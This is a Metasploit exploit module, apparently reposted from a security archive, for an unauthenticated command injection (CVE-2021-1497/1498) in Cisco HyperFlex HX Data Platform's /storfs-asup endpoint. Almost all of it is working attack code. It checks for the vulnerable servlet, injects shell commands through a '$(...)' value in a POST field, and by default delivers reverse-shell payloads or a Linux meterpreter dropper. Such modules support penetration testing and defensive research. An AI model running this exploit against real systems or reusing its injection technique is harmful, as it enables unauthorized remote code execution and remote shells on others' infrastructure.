Cisco HyperFlex HX Data Platform Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco HyperFlex HX Data Platform Command Execution',  
'Description' => %q{  
This module exploits an unauthenticated command injection in Cisco  
HyperFlex HX Data Platform's /storfs-asup endpoint to execute shell  
commands as the Tomcat user.  
},  
'Author' => [  
'Nikita Abramov', # Discovery  
'Mikhail Klyuchnikov', # Discovery  
'wvu' # Analysis and exploit  
],  
'References' => [  
['CVE', '2021-1497'], # HyperFlex HX Data Platform Installer  
['CVE', '2021-1498'], # HyperFlex HX Data Platform  
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR'],  
['URL', 'https://attackerkb.com/assessments/4f532147-b27b-4079-aed1-5cfdc402cf5c'],  
['URL', 'https://twitter.com/ptswarm/status/1390300625129201664']  
],  
'DisclosureDate' => '2021-05-05',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false, # Privesc left as an exercise for the reader  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
  
register_advanced_options([  
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => %w[GET POST].sample,  
'uri' => normalize_uri(target_uri.path, 'storfs-asup')  
)  
  
return CheckCode::Unknown unless res  
  
unless res.code == 200 &&  
res.body.include?('Action for the servlet need be specified.')  
return CheckCode::Safe  
end  
  
CheckCode::Vulnerable('Storfs ASUP servlet detected.')  
end  
  
def exploit  
print_status("Selected #{payload_instance.refname} (#{target.name})")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
print_status("Executing command: #{cmd}")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'storfs-asup'),  
'vars_post' => {  
'action' => Faker::Hacker.verb,  
%w[token mode].sample => "$(#{cmd})"  
}  
}, datastore['CmdExecTimeout'])  
  
unless res  
print_warning('Command execution timed out')  
return  
end  
  
unless res.code == 200  
fail_with(Failure::PayloadFailed, 'Failed to execute command')  
end  
  
print_good('Successfully executed command')  
end  
  
end  
`